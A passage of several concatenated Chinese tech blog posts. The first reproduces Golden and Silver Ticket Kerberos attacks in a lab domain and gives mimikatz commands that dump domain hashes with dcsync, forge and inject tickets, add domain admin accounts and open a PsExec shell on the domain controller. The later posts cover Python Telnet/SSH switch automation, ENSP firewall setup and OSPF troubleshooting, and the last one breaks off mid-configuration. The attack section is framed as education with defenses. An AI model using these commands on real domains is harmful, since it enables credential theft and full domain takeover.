#  前言

​    本文仅用于网络安全领域的教育和研究目的，旨在帮助安全研究人员和渗透测试人员了解和防范黄金票据攻击与白银票据攻击。所有技术的使用必须在合法授权的环境下进行，未经授权的攻击行为是违法的。本文的目标是提高网络安全防护能力，帮助企业和组织更好地保护其系统免受此类攻击的威胁。 

​    网络安全是当今数字世界中至关重要的领域。随着网络攻击手段的日益复杂化，了解攻击原理和防御措施对于保护企业和个人的信息安全至关重要。本文将详细介绍黄金票据攻击与白银票据攻击的原理、实施过程以及防御措施，旨在帮助读者更好地理解这些攻击手段，并采取有效的防护策略。



# 黄金票据攻击与白银票据攻击

## 黄金票据攻击（Golden Ticket Attack）

黄金票据攻击是一种利用Kerberos认证协议漏洞的攻击方式。攻击者通过伪造Kerberos票据授予票据（TGT），以任意用户身份（包括域管理员）访问域内的所有资源。

### 攻击原理

- 攻击者需要获取域控制器（DC）上的`KRBTGT`账户的NTLM哈希值。
- 使用该哈希值伪造一个长期有效的TGT。
- 使用伪造的TGT请求访问域内任何服务的票据。
- 由于伪造的TGT是合法的Kerberos票据，许多安全产品难以检测。

### 特点

- 持久性强：只要`KRBTGT`账户的密码未更改，黄金票据就有效。
- 无需与KDC交互：攻击者可以离线生成TGT。
- 可伪造任意用户：攻击者可以伪造域管理员或其他高权限用户身份。
- 绕过大部分安全检测：由于黄金票据是合法的Kerberos票据，许多安全产品难以检测。

## 白银票据攻击（Silver Ticket Attack）

白银票据攻击与黄金票据攻击类似，但攻击范围更窄。攻击者伪造Kerberos服务票据（ST），直接访问特定服务，而不是整个域。

### 攻击原理

- 攻击者需要获取目标服务账户的哈希值（如`CIFS$`、`MSSQL$`等）。
- 使用该哈希值伪造ST。
- 使用伪造的票据直接访问目标服务。

### 特点

- 攻击范围有限：仅限于特定服务（如文件共享、数据库等）。
- 隐蔽性强：无需与KDC交互，更难被流量监控发现。
- 短期有效：默认情况下，白银票据的有效期为10小时。

## 防御措施

- 保护`KRBTGT`账户：定期更改`KRBTGT`账户的密码，并限制对该账户的访问。
- 监控异常Kerberos活动：通过监控TGT请求频率、检查票据PAC签名完整性等方式，检测异常的Kerberos活动。
- 网络分段策略：实施零信任模型，最小化横向通信权限，减少攻击面。
- 检测体系构建：建立SIEM告警规则，检测异常的登录行为和票据请求。
- 红蓝对抗演练：定期进行红蓝对抗演练，优化安全防护体系。



# 环境配置

DC：windows server 2019 ip：192.168.88.130

Windows 10 x64 ip：192.168.88.131

工具包mimikatz等



# 在DC上添加域角色

## **安装active directory域服务**

打开“服务器管理器”

找到“添加角色和功能”

在“安装类型”中，选择“基于角色或基于功能的安装”

![](/static/img/域权限维持和后渗透密码收集/5be050b3bcf1455b93b27ea2b6a28109.png)


在“服务器角色”页面中，勾选“Active Directory”域服务

![](/static/img/域权限维持和后渗透密码收集/5ce6c33a96c543278477d8e95963402b.png)


后面默认选择，直接安装

![](/static/img/域权限维持和后渗透密码收集/6d97d059e1184d2eb19a7836ab72943e.png)


## 

## **创建域**

安装完成之后，需要将服务器提升为域控制器

打开“服务器管理器”

在“操作”菜单中，点击“将此服务器提升为域控制器”

![](/static/img/域权限维持和后渗透密码收集/98a2cc3abfc04448aa81ed5c01e08d11.png)


在“部署配置”页面，选择“添加新林根域”，输入域名称：abc.com

![](/static/img/域权限维持和后渗透密码收集/1ff32a20515145e0b9f69b934a5bf87c.png)


（这一步做完点击下一步之后，需要等一会儿才能继续下一步，耐心等待）

设置目录服务恢复模式（DSRM）密码

![](/static/img/域权限维持和后渗透密码收集/6995f5e0cf654a74b1466b033d7c281a.png)


后面直接默认安装

![](/static/img/域权限维持和后渗透密码收集/ebf64e29e8e34b2ca6e0ccc07ecbba32.png)


之后会出现弹窗，点击关闭，重新启动虚拟机

## 

## **配置域环境**

在域控上创建用户账号和组

![](/static/img/域权限维持和后渗透密码收集/eaf356bc4394471b89e062fe2e6a8023.png)


![](/static/img/域权限维持和后渗透密码收集d73326b9643640b893c4316bd7e9a5e2.png)


创建用户

![](/static/img/域权限维持和后渗透密码收集/a2bd54e0ad374fb698a585145d142024.png)


密码需要设置强密码，故设置为P@ssw0rd!

![](/static/img/域权限维持和后渗透密码收集/8856169e56974921bd3f13a093ed5957.png)


创建组

![](/static/img/域权限维持和后渗透密码收集/97daf87f725c4465b9aa3871ea719343.png)



## **将其他域成员加入到域内**

在Windows10 x64中，将首选DNS服务器设置为域服务器

![](/static/img/域权限维持和后渗透密码收集/2a87e0f50e5849cda030d6ebfd230b54.png)


在文件管理中找到“此电脑”，右键属性

![](/static/img/域权限维持和后渗透密码收集/51dbd964adcb4818b0e0cb7a23b920c4.png)


![](/static/img/域权限维持和后渗透密码收集/48d4498deb2844b38b3deb9e38c047c2.png)


之后需要重新启动，以激活加入域操作

使用nslookup命令查看abc.com，是否成功加入域

![](/static/img/域权限维持和后渗透密码收集/e10d6b94989d42df93170502e43e149c.png)


加入域成功



# 复现黄金票据传递攻击

## 第一步：收集黄金票据的信息，在服务器上执行

```
mimikatz.exe
privilege::debug
lsadump::dcsync /domain:abc.com /all /csv
```


![](/static/img/域权限维持和后渗透密码收集/90931fdc6f664c3082345e34b82607a8.png)


## 第二步：伪造票据（win10）

```
whoami /user
```


得到sid值：S-1-5-21-1437317846-3773719243-931954916-1001

![](/static/img/域权限维持和后渗透密码收集/141de8d970b643dd9a81f10fffe0c7ad.png)


```
kerberos::golden /user:administrator /domain:abc.com /sid:S-1-5-21-1437317846-3773719243-931954916-1001 /krbtgt:bf84b7091d45f24fd7915db700a9d42a /ticket:ticket.kirbi
```


这里的sid和krbtgt的数值皆在上一步或上两步的操作中获取

![](/static/img/域权限维持和后渗透密码收集/6077b37ecbe249d4a9004087126e1b60.png)


生成的票据

![](/static/img/域权限维持和后渗透密码收集/7e1385c4d3444850a2b41d961e2df5fb.png)




## 第三步：导入票据

```
kerberos::purge
kerberos::tgt
kerberos::ptt ticket.kirbi
```


![](/static/img/域权限维持和后渗透密码收集/08f9ddca684d423aaff5830106ed0e7d.png)




## 第四步：测试（win10）

新开一个终端（管理员运行），向abc.com添加ddd用户及密码Abcd@2024，并提升ddd用户为domain admins组成员

```
klist
net user ddd Abcd@2024 /add /domain
net group "domain admins" ddd /add /domain
```


![](/static/img/域权限维持和后渗透密码收集/15ae194ede9d4fea8e900b8e03667350.png)


在Windows server2019的DC上查看新建的域用户

![](/static/img/域权限维持和后渗透密码收集/f52afae3019f4904afc2833ea0f9464b.png)


然后在win10通过工具PsExec，利用新建的域用户控制域控

```
PsExec.exe /accepteula /s \\192.168.88.130 -u ddd -p Abcd@2024 cmd
```


![](/static/img/域权限维持和后渗透密码收集/6f364dc436024cc0ad81e89364967707.png)


注意：当票据的缓存被清除时，要想继续控制域控，需要重新导入票据

```
netstat -an | find "135"
```


![](/static/img/域权限维持和后渗透密码收集/7c5c6cc41ed143be97a10e64128246eb.png)



# 复现白银票据传递攻击

## 第一步：收集票据信息

```
lsadump::dcsync /domain:abc.com /user:Administrator
```


![](/static/img/域权限维持和后渗透密码收集/32b4f9602792474ab539ea67e27426eb.png)



## 第二步：伪造票据并导入（win10）

```
whoami /user
```


得到sid值：S-1-5-21-1437317846-3773719243-931954916-1001

![](/static/img/域权限维持和后渗透密码收集/141de8d970b643dd9a81f10fffe0c7ad-1770305820626-53.png)


```
kerberos::golden /domain:abc.com /sid:S-1-5-21-1437317846-3773719243-931954916-1001 traget:abc.com /service:cifs /rc4:fefcfc418134bfb464ae7facd8c76668 /user:silver /ptt
```


![](/static/img/域权限维持和后渗透密码收集/602a738da1a94d868e1060eab3aa0d26.png)



## 第三步：测试（win10）

设置DC的C盘为共享文件

![](/static/img/域权限维持和后渗透密码收集/b7f91f290c7d412b89b13b49242776f6.png)


新开一个终端（管理员方式运行），成功访问域控的共享文件

```
dir \\Win-2e28ib3rd7h\c$
```


![](/static/img/域权限维持和后渗透密码收集/607eba552fe74f67b39c59a6ec99c377.png)


新建域用户，向abc.com添加bbb用户及密码Abcd@2024，并提升bbb用户为domain admins组成员

```
klist
net user bbb Abcd@2024 /add /domain
net group "domain admins" bbb /add /domain
```


![](/static/img/域权限维持和后渗透密码收集/c7a743ff669849efa8b9122f9abd842e.png)


在DC上查看，成功创建bbb用户

![](/static/img/域权限维持和后渗透密码收集/5e9f56d368c94b80b9dafe402a3975c3.png)


然后再win10上通过工具PsExec，利用新建的域用户控制域控

```
PsExec.exe /accepteula /s \\192.168.88.130 -u bbb -p Abcd@2024 cmd
```


![](/static/img/域权限维持和后渗透密码收集/b50d7a590f974a108a8cd32e72b42973.png)


当清空票据缓存，不能访问域控的共享，也不能控制域控

![](/static/img/域权限维持和后渗透密码收集/a4342f44dd7040e2b5394831e748550b.png)




# 黄金票据和白银票据的联系与区别

## 联系

黄金票据和白银票据都是基于Kerberos认证机制的攻击手段，它们的共同点在于：

- **攻击目标一致：**两者都是通过伪造Kerberos票据来绕过正常的身份验证流程，从而获取对目标系统或服务的访问权限。
- **利用相同的协议漏洞：**它们都利用了Kerberos协议在票据生成和验证过程中的漏洞，攻击者通过伪造票据来欺骗系统，使其认为自己是合法用户。
- **攻击目的相似：**都是为了在渗透测试或攻击过程中获取对目标系统的控制权，进而进行进一步的攻击或数据窃取。

## 区别

### 用途

> **黄金票据：**黄金票据是伪造的TGT（Ticket-Granting Ticket，身份票据）。TGT是Kerberos认证过程中的关键票据，用于获取其他服务的访问权限。黄金票据一旦生成，攻击者可以利用它请求任何服务的ST（Service Ticket），从而访问域内的所有服务。
>
> **白银票据：**白银票据是伪造的ST（Service Ticket，服务票据）。它直接针对特定的服务（如CIFS、MSSQL等），攻击者通过伪造ST来访问特定的服务，而无需获取TGT。

### 权限范围

> **黄金票据：**由于黄金票据是伪造的TGT，它具有极高的权限，可以访问域内的所有服务。攻击者可以利用它获取对任何资源的访问权限，包括文件服务器、数据库服务器等。
>
> **白银票据：**白银票据的权限相对有限，它只能访问特定的服务。攻击者需要为每个目标服务单独生成白银票据，且每个票据只能用于访问指定的服务。

### 加密方式

> **黄金票据：**黄金票据的生成需要使用krbtgt账户的NTLM Hash进行加密。krbtgt是Kerberos协议中的一个特殊账户，用于生成TGT。
>
> **白银票据：**白银票据的生成需要使用目标服务账户的NTLM Hash进行加密。攻击者需要获取目标服务账户的密码哈希值，才能生成有效的白银票据。

### 认证流程

> **黄金票据：**黄金票据的生成和使用需要与KDC（Key Distribution Center）进行交互。攻击者通过伪造TGT，欺骗KDC，从而获取其他服务的ST。
>
> **白银票据：**白银票据的生成和使用不与KDC交互，而是直接与目标服务进行通信。攻击者伪造ST后，直接将其发送给目标服务，从而绕过KDC的验证。

### 日志记录

> **黄金票据：**由于黄金票据需要与KDC交互，因此在域控上会留下日志记录。这使得黄金票据的使用更容易被检测到。
>
> **白银票据：**白银票据的使用不会在域控上留下日志记录，仅在目标服务器上留下日志。因此，白银票据的使用更加隐蔽，更难被发现。

### 总结

> **黄金票据：**具有极高的权限，可以访问域内的所有服务，但使用时会在域控上留下日志记录，容易被检测。
>
> **白银票据：**权限相对有限，只能访问特定的服务，但使用时不会在域控上留下日志记录，更加隐蔽。
>
> 在实际的网络安全防护中，应加强对krbtgt账户和服务账户的安全管理，限制管理员权限，监控异常的网络活动，并定期更换关键账户的密码，以防止黄金票据和白银票据攻击。



### 用实例实现后渗透密码收集

使用命令msfconsole，启动msf终端

![](/static/img/域权限维持和后渗透密码收集/d7f8912e759748619bc031b05641aab0.png)




# 注意事项

问题：在Win10上尝试新建ddd用户的时候失败

![](/static/img/域权限维持和后渗透密码收集/697adde2de4b4ddcbe43a51cc8ee4457.png)


虽然这个命令行是在win10的管理员权限下运行，但是处于abc.com域下，为abc.com域服务器添加用户，应该在域服务器的管理员权限下进行

```
runas /user:abc.com\Administrator "cmd"
```


![](/static/img/域权限维持和后渗透密码收集/7cada51e399c427d82f33afdb030b7b6.png)




问题：在获取DC的NTLM哈希值时，出现无法访问（最近常用的是sekurlsa::logonpasswords）

![](/static/img/域权限维持和后渗透密码收集/d858ad0e4a664eae8a2aadb6ecfab553.png)


可以更换命令来获取NTLM哈希值

```
lsadump::dcsvnc /domain:abc.com /user:Administrator
```


![](/static/img/域权限维持和后渗透密码收集/533e2e583e004bb3857fcde209c3b239.png)




# 结语：安全防护的重要性

在网络安全领域，了解攻击手段是防范攻击的第一步。通过本文的介绍，我们希望读者能够认识到黄金票据攻击和白银票据攻击的危险性，并采取有效的防御措施来保护自己的网络环境。以下是一些关键的防御建议：

- 加强账户管理：定期更改关键账户（如KRBTGT）的密码，并限制对这些账户的访问。
- 监控异常活动：通过监控Kerberos票据请求频率、检查票据PAC签名完整性等方式，及时发现异常的Kerberos活动。
- 实施零信任模型：最小化横向通信权限，减少攻击面。
- 建立检测体系：构建SIEM告警规则，检测异常的登录行为和票据请求。
- 定期进行安全演练：通过红蓝对抗演练，优化安全防护体系。

我们强烈建议所有网络安全从业者和系统管理员重视这些防御措施，并将其纳入日常的安全管理流程中。只有通过持续的安全教育和有效的防护策略，我们才能更好地应对日益复杂的网络攻击威胁。

# 

# 合法性再次声明

​    **再次强调，本文的所有内容仅用于合法的网络安全研究和教育目的。未经授权的攻击行为是违法的，本文不鼓励也不支持任何形式的非法网络活动。**

域权限维持和后渗透密码收集

其实登录远程设备（交换机路由器）的方式无非就是通过SSH或者是Telnet这两个协议，当然最主要的还是SSH，这里主要讲的是通过这两个协议登录远程设备的几个方式

#     拓扑

​    本文都是用的这个拓扑，主要通过编写python脚本来登录其中的交换机，重点不是这个拓扑，所以这里就简单的配置。交换机连接的那个可以尝试在vlan 1配置地址，接口是默认连通vlan 1，所以vlan 1是管理IP地址

账号密码：Telnet：zzz/12345      SSH：ren/12345

![](/static/img/python自动登录远程设备的几种方式（华为设备）/edc07243e4f543d5b470dd8d73eda839.png)


```
# Telnet交换机配置
[SW-telnet]user-interface vty 0 4
[SW-telnet-ui-vty0-4]authentication-mode aaa
[SW-telnet-ui-vty0-4]protocol inbound telnet
[SW-telnet-ui-vty0-4]q
[SW-telnet]aaa
[SW-telnet-aaa]local-user zzz password cipher 12345
Info: Add a new user.
[SW-telnet-aaa]local-user zzz privilege level 15
[SW-telnet-aaa]local-user zzz service-type telnet
[SW-telnet-aaa]q
[SW-telnet]stelnet server enable
Info: Succeeded in starting the Stelnet server.
[SW-telnet]ssh authentication-type default password
[SW-telnet]
```


```
# SSH交换机配置
[SW3]user-interface vty 0 4
[SW3-ui-vty0-4]authentication-mode aaa
[SW3-ui-vty0-4]protocol inbound ssh
[SW3-ui-vty0-4]q
[SW3]aaa
[SW3-aaa]local-user ren password cipher 12345
Info: Add a new user.
[SW3-aaa]local-user ren privilege level 15
[SW3-aaa]local-user ren service-type ssh
[SW3-aaa]q
[SW3]stelnet server enable
Info: Succeeded in starting the Stelnet server.
[SW3]ssh authentication-type default password
[SW3]
```


后面打算是尝试批量登录交换机，所以设置了两个SSH的交换机，但都是一样的配置，一个地址为11，一个为12



# 通过Telnet进行登录

### 引入telnetlib、time库（安装python时自带）

不知道为啥，我电脑执行脚本的时候他没有找到telnet库，可能是环境变量的原因，不过这次我就直接在虚拟机上弄了。至于time库是为了让设备能够有时间执行输入命令，不然会吞掉个别指令

```
import telnetlib
import time
```




### 连接设备参数

一般这三个就可以，不排除一些比较严格会出现端口、使能密码等

```
host = "192.168.88.21"
user = "zzz"
password = "12345"
```




### 连接设备

通过telnetlib.Telnet()函数连接上设备，然后通过捕抓关键字，输入用户和密码 

```
tn = telnetlib.Telnet(host)
tn.read_until(b"Username:")
tn.write(user.encode('ascii') + b"\n")
tn.read_until(b"Password:")
tn.write(password.encode('ascii') + b"\n")
```




### 执行命令

```
tn.write(b"sys\n")
tn.write(b"interface LoopBack 0\n")
tn.write(b"ip address 1.1.1.1 255.255.255.255\n")
```




### 打印输入

最后通过close()函数关闭Telnet连接

```
print(tn.read_very_eager().decode('ascii'))

tn.close()
```




### 完整代码 

```
import telnetlib
import time

host = "192.168.88.21"
user = "zzz"
password = "12345"

tn = telnetlib.Telnet(host)
tn.read_until(b"Username:")
tn.write(user.encode('ascii') + b"\n")
tn.read_until(b"Password:")
tn.write(password.encode('ascii') + b"\n")
tn.write(b"sys\n")
tn.write(b"interface LoopBack 0\n")
tn.write(b"ip address 1.1.1.1 255.255.255.255\n")

# 延迟等待
time.sleep(0.5)
tn.write(b"quit\n")

print(tn.read_very_eager().decode('ascii'))

tn.close()
```




### 运行结果

![](/static/img/python自动登录远程设备的几种方式（华为设备）/77f94517c67d4193b060ef2accf32269.png)


![](/static/img/python自动登录远程设备的几种方式（华为设备）/ae2decab692e4808bc7193ae0667558d.png)




# 通过SSH进行登录

​    跟Telnet相比，SSH的安全性更高。这里我们主要用paramiko和netmiko两个库来进行SSH登录，同时这两个库跟telnetlib不同，并不是python的内置库，我们需要提前安装，也简单

```
pip install paramiko
pip install netmiko
```


直接在命令行输入上面两条命令就行，这里我就不演示了



## paramiko登录

### 引入paramiko、time库

```
import paramiko
import time
```




### 连接设备参数

```
ip = "192.168.88.11"
username = "ren"
password = "12345"
```




### 连接设备

这里的三行代码，算是连接的标志，SSH连接设备都需要这三行代码

```
ssh_client = paramiko.SSHClient()
ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh_client.connect(hostname=ip,username=username,password=password)
```




### 执行命令

成功连接设备之后，需要通过invoke_shell()来调用命令行

```
print ("Successfully connected to ",ip)
command = ssh_client.invoke_shell()
command.send("sys\n")
command.send("int loop 1\n")
command.send("ip address 2.2.2.2 255.255.255.255\n")
command.send("return\n")
```



### 打印输入

```
time.sleep(2)
output = command.recv(65535)
print (output.decode("ascii"))

ssh_client.close
```


### 完整代码

```
import paramiko
import time

ip = "192.168.88.11"
username = "ren"
password = "12345"

ssh_client = paramiko.SSHClient()
ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh_client.connect(hostname=ip,username=username,password=password)

print ("Successfully connected to ",ip)
command = ssh_client.invoke_shell()
command.send("sys\n")
command.send("int loop 1\n")
command.send("ip address 2.2.2.2 255.255.255.255\n")
command.send("return\n")


time.sleep(2)
output = command.recv(65535)
print (output.decode("ascii"))

ssh_client.close
```



### 运行结果

![](/static/img/python自动登录远程设备的几种方式（华为设备）/d48cf92334dc4ab29a51f456eb4726c7.png)


![](/static/img/python自动登录远程设备的几种方式（华为设备）/f828b3b1ad68452388d2548868d75848.png)




## netmiko登录

看了前面的，也应该有所了解，这里就直接先上代码和结果

### 完整代码

```
from netmiko import ConnectHandler

SW2 = {
	'device_type': 'huawei',
	'ip': '192.168.88.12',
	'username': 'ren',
	'password': '12345',
}

connect = ConnectHandler(**SW2)
print ("Successfully connected to " + SW2['ip'])
config_commands = ['int loop 1', 'ip address 3.3.3.3 255.255.255.255']
output = connect.send_config_set(config_commands)
print (output)
result = connect.send_command('disp cur int loop 1')
print (result)
```



### 运行结果

![](/static/img/python自动登录远程设备的几种方式（华为设备）/8950a3b5837c479f9a004b5558d98e3f.png)


![](/static/img/python自动登录远程设备的几种方式（华为设备）/8988f83dfd0548b5a7a4e80b7922ba46.png)


### 

### 讲解

​    这里的netmikok主要是通过先导入netmiko的ConnectHandler，这个是用来建立与网络设备的连接。然后跟前两个代码不同的是，将设备类型、IP地址、用户名和密码定义为了一个字典，后面直接通过**将参数传递给ConnectHandler。将配置命令定义为一个列表，使用send_config_set方法将这些命令发送到设备上。



## 批量登录用户名密码不同的设备（JSON）

​    在实际生活中，需要登录的交换机可能会存在用户名密码不一样的情况，但是需要更改的配置是一样的，这时候我们就可以尝试更改下我们的登录方式，联合JSON登录

当然，这里我们需要先将环境整理好。将SW3增加一个密码54321的用户qwe

等SW3配置好了之后，还没有要到写python代码的时候，我们还需要在python代码的目录下增加一个JSON文件（switches.json）新建txt文件，重命名就好。输入你要登录的设备相应的参数，这样我们写python代码的时候，就可以直接引用这个文件

![](/static/img/python自动登录远程设备的几种方式（华为设备）/bc1659be03d74d3a999773b5c2c94250.png)

```
[
    {
        "name": "SW-ssh",
        "connection": {
            "device_type": "huawei",
            "host": "192.168.88.11",
            "username": "ren",
            "password": "12345"
        }
    },
    {
        "name": "SW3",
        "connection": {
            "device_type": "huawei",
            "host": "192.168.88.12",
            "username": "qwe",
            "password": "54321"
        }
    }
]
```



### python代码

```
import json
from netmiko import ConnectHandler

with open("switches.json") as f:
    devices = json.load(f)

for device in devices:
    with ConnectHandler(**device['connection']) as conn:
        hostname = device['name']
        print(f'已经成功登录交换机{hostname}')
        output = conn.send_command('display cur | i sysname')
        print(output)
```



### 讲解

​    利用open打开switches.json文件，得到设备的参数，然后通过循环轮流登录设备，并输出设备名称



### 运行结果

![](/static/img/python自动登录远程设备的几种方式（华为设备）/d203e0867750453eae0a749bdca62387.png)




## 批量登录IP地址不连续的设备

​    同样的，你也会碰到地址不连续的设备，这时候可以怎么做？上面是通过打开json文件来解决，这里则比较简单了，直接引入一个写满我们要登录的设备IP地址的txt文件，然后也是通过循环来遍历登录每一台设备

​    当然我们的设备还是需要更改一下IP地址，让他不连续，将SW3的192.168.88.12/24更改为192.168.88.15/24

​    然后我们在python代码文件旁边创建一个ip_list.txt文件，里面放我们的IP地址

![](/static/img/python自动登录远程设备的几种方式（华为设备）/d4b42a33ab414f988bba0a85dfe35ed0.png)


![](/static/img/python自动登录远程设备的几种方式（华为设备）/4f000aff498b48d8bec3b8418dbac2e5.png)


### python代码

```
import paramiko
import time
from getpass import getpass

username = input('Username: ')
password = getpass('password: ')

f = open("ip_list.txt", "r")
for line in f.readlines():
    ip = line.strip()
    ssh_client = paramiko.SSHClient()
    ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    ssh_client.connect(hostname=ip, username=username, password=password, look_for_keys=False)

    print ("Successfully connect to ", ip)
    remote_connection = ssh_client.invoke_shell()

    remote_connection.send('dis int vlan 1\n')
    time.sleep(1)
    output = remote_connection.recv(65535)
    print (output.decode("ascii"))

f.close()
ssh_client.close()
```



### 讲解

​    这里值得注意的是，我们在代码里隐藏了用户和密码，将这个转为命令行输入，且隐藏输入，增加了安全性



### 运行结果

![](/static/img/python自动登录远程设备的几种方式（华为设备）/6dcb3c8642ec4bd99720d3cf80f20efa.png)




​    最后，本文介绍了如何使用 Python 自动登录远程华为设备，并执行配置命令。我们使用了 Telnet、SSH 和 Paramiko 库来实现这一功能，并展示了如何通过 JSON 文件批量登录不同用户名和密码的设备。

python自动登录远程设备的几种方式（华为设备）

华为ENSP的防火墙是需要额外导入文件才能正常进行。同时ENSP的防火墙是可以通过web界面来配置安全策略等等的一些配置。这里就从如何导入防火墙的文件，再到访问防火墙的web界面



# 防火墙USG6000V启动

压缩包自取，就是下面的这个玩意儿

[防火墙USG6000V压缩包![img](https://csdnimg.cn/release/blog_editor_html/release2.4.5/ckeditor/plugins/CsdnLink/icons/icon-default.png?t=PBP8)https://pan.baidu.com/s/1WJUKjjAYblQVw0SkXg0y4Q?pwd=xkhx](https://pan.baidu.com/s/1WJUKjjAYblQVw0SkXg0y4Q?pwd=xkhx)

![](/static/img/ENSP防火墙压缩包以及登录web界面/2f8cbcc47a654fbda325f8b14c7f6243.png)



打开你的ENSP，把那个USG6000V防火墙给拉出来，启动

![](/static/img/ENSP防火墙压缩包以及登录web界面/6aee616160e94130ae1e68255fd7881f.png)


就是这里导入我们刚刚下的那个东西，就行

导入完了之后，别忘了注册下设备

![](/static/img/ENSP防火墙压缩包以及登录web界面/b76e04fc73a244759bfe7a384333b68d.png)


![](/static/img/ENSP防火墙压缩包以及登录web界面/1db54b99b717432e96c8e480152e21a5.png)


到这里，USG6000V防火墙就导入完了，可以从正常使用



# 访问防火墙的web界面

​    这里主要需要用到一个外网连接防火墙，防火墙设备通过可以ping通物理机，再访问外网，使得外网也可以连通防火墙，从而更改安全策略等配置

![](/static/img/ENSP防火墙压缩包以及登录web界面/9099f4d6d3b84c969ea71effe683cd8a.png)


选定一个自己的网卡

![](/static/img/ENSP防火墙压缩包以及登录web界面/065e6c28137f46629c079b0634f15336.png)


![](/static/img/ENSP防火墙压缩包以及登录web界面/956521ef727c4c10b63cd667f565a886.png)


这样的云就可以有接口连通防火墙

![](/static/img/ENSP防火墙压缩包以及登录web界面/4e192359c09f4bd1849e9a38563b0c64.png)


​    然后打开防火墙。登录防火墙是需要登录账号密码，华为默认的账号密码是：admin/Admin@123。除了需要账号密码之外，还需要更改密码

![](/static/img/ENSP防火墙压缩包以及登录web界面/db78d3fac4f04f12b0cabd38b1cb9dc0.png)

​    进去之后给防火墙配置好相应的子网IP地址，比如我的网卡IP地址就是192.168.88.1/24，那防火墙的接口IP地址我就设为了192.168.88.2/24

![](/static/img/ENSP防火墙压缩包以及登录web界面/e2c4fbcd71d844639f45c7a010ee0ee5.png)


然后设置可以通过http、https访问管理防火墙

![](/static/img/ENSP防火墙压缩包以及登录web界面/6fcb6ec96c49460297179b2edc5bb4ea.png)


现在到我们的浏览器，访问防火墙的接口IP地址192.168.88.2

!![](/static/img/ENSP防火墙压缩包以及登录web界面/10156bdeeae64c2f900baa1006e1921a.png)


正常输入我们的账号密码就可以进入管理界面了

![](/static/img/ENSP防火墙压缩包以及登录web界面/af9d15d7cf6d4c43a1c87ab19eba284b.png)


![](/static/img/ENSP防火墙压缩包以及登录web界面/d0b6a3a2b2714006b94a053ceb018473.png)

ENSP防火墙压缩包以及登录web界面

         之前看到过一个案例，一个园区中的AB两栋楼之间用的是OSPF连接，突然通信发生了故障，无法正常访问，后面发现是AB栋的某路由器之间OSPF邻居关系没有建立成功。这里也是尝试模拟一下这个案例，同时顺便将OSPF邻居关系建立的故障因素也都列举一遍 

​        按照真实情况来说，我们应该先检查物理线路有没有问题，是不是接口松动导致的问题；然后通过路由器检查两边设备的连通性，是否能ping通。如果不是这两个原因的话，就该进入到路由配置在观察配置是否出现问题。

​        这里因为就不说前两步的问题了，直接到OSPF配置的故障问题

![](/static/img/关于OSPF邻居关系建立的故障问题及解决方案/eec16b1f321a4e288fec51009c135ad1.png)


# 完整配置

​        如上图所示，简单的配置，PC端就直接配置路由就行

接口地址配置

```
# AR1
[AR1]int g0/0/0
[AR1-GigabitEthernet0/0/0]ip address 10.10.10.1 24    # 接口地址、掩码
[AR1-GigabitEthernet0/0/0]ospf network-type p2p    # 设置连接类型
[AR1-GigabitEthernet0/0/0]mtu 1500    # 生存周期
[AR1-GigabitEthernet0/0/0]ospf timer hello 10    # hello报文间隔时间
[AR1-GigabitEthernet0/0/0]ospf timer dead 40    # 路由失效间隔时间
[AR1-GigabitEthernet0/0/0]q
[AR1]int g0/0/1
[AR1-GigabitEthernet0/0/1]ip address 192.168.88.1 24
[AR1-GigabitEthernet0/0/1]q

# AR2
[AR2]int g0/0/0
[AR2-GigabitEthernet0/0/0]ip address 10.10.10.2 24
[AR2-GigabitEthernet0/0/0]ospf network-type p2p
[AR2-GigabitEthernet0/0/0]mtu 1500
[AR2-GigabitEthernet0/0/0]ospf timer hello 10
[AR2-GigabitEthernet0/0/0]ospf timer dead 40
[AR2-GigabitEthernet0/0/0]q
[AR2]int g0/0/1
[AR2-GigabitEthernet0/0/1]ip addres 172.16.88.1 24
[AR2-GigabitEthernet0/0/1]q
```


OSPF配置

```
# AR1
[AR1]ospf 1 router-id 1.1.1.1    # 设置ID
[AR1-ospf-1]area 0
[AR1-ospf-1-area-0.0.0.0]network 10.10.10.1 0.0.0.0    # 宣告网段
[AR1-ospf-1-area-0.0.0.0]authentication-mode simple cipher ren    # 认证类型和密码
[AR1-ospf-1-area-0.0.0.0]q
[AR1-ospf-1]area 192
[AR1-ospf-1-area-0.0.0.192]network 192.168.88.0 0.0.0.255
[AR1-ospf-1-area-0.0.0.192]q
[AR1-ospf-1]q
[AR1]

# AR2
[AR2]ospf 1 router-id 2.2.2.2
[AR2-ospf-1]area 0
[AR2-ospf-1-area-0.0.0.0]network 10.10.10.2 0.0.0.0
[AR2-ospf-1-area-0.0.0.0]authentication-mode simple cipher ren
[AR2-ospf-1-area-0.0.0.0]q
[AR2-ospf-1]area 172
[AR2-ospf-1-area-0.0.0.172]network 172.16.88.0 0.0.0.255
[AR2-ospf-1-area-0.0.0.172]q
[AR2-ospf-1]q
[AR2]
```

需要注意的是，接口配置完后用display this是看不到mtu、hello、dead这些设置的，可以用下面的命令来查看

```
display ospf int g0/0/0
```


![](/static/img/关于OSPF邻居关系建立的故障问题及解决方案/dcac2dc08e9c4379bf3fa60b2e82f853.png)


其实按照上面的配置就已经完成了这个拓扑的需求，两边的PC机可以相互ping通了。

# 常见影响OSPF邻居关系建立的因素

> 1. router-id冲突
> 2. 未将接口网段宣告进OSPF
> 3. 接口类型不一致
> 4. 接口掩码不一致
> 5. 接口MTU值不一致
> 6. Hello interval（Hello间隔）不一致
> 7. Router Dead interval（路由失效间隔）不一致
> 8. 认证类型不一致或者密码错误

其实来说，这8个因素都可以很快地找到，就是对比两个路由器之间的配置找不同

通过dis curr这个命令就可以对比4个因素

```
dis curr
```


![](/static/img/关于OSPF邻居关系建立的故障问题及解决方案/d430fcbdea694500b9c588e607467f7e.png)


​        同时根据前面所提到的dis ip int g0/0/0命令也可以查看剩下的几个因素，除了认证密码需要抓包确定。而抓包确定问题，这个是最实用也是最便捷的一个方法

![](/static/img/关于OSPF邻居关系建立的故障问题及解决方案/1603e051c33149c9aa6f6de60f2d61a2.png)


![](/static/img/关于OSPF邻居关系建立的故障问题及解决方案/9e9368c131414a51824f681018bb9cfd.png)


# 修改掩码、认证密码，模拟故障

​        上面这样看可能不是很明显，所以在这里修改AR2的掩码、认证密码，再次查看它们之间的区别

```
[AR2]int g0/0/0
[AR2-GigabitEthernet0/0/0]ip address 10.10.10.2 30    # 掩码从24改为30
[AR2-GigabitEthernet0/0/0]q
[AR2]ospf 1
[AR2-ospf-1]area 0	
